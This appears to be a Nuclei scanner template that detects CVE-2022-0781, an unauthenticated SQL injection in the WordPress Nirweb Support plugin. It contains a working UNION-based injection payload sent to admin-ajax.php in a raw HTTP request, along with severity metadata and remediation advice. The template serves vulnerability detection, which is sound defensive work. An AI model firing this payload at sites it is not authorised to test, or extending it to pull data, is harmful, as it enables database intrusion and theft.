WordPress Nirweb Support <2.8.2 - SQL Injection

id: CVE-2022-0781

info:
  name: WordPress Nirweb Support <2.8.2 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Nirweb support plugin before 2.8.2 contains a SQL injection vulnerability. The plugin does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Update to the latest version of the WordPress Nirweb Support plugin (2.8.2 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1a8f9c7b-a422-4f45-a516-c3c14eb05161
    - https://wordpress.org/plugins/nirweb-support/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0781
    - https://github.com/cyllective/CVEs
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0781
    cwe-id: CWE-89
    epss-score: 0.1305
    epss-percentile: 0.96377
    cpe: cpe:2.3:a:nirweb:nirweb_support:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nirweb
    product: nirweb_support
    framework: wordpress
  tags: cve2022,cve,wordpress,wp-plugin,wp,sqli,wpscan,nirweb-support,unauth,nirweb,vkev,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=answerd_ticket&id_form=1 UNION ALL SELECT NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL-- -

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: status
        status:
          - 200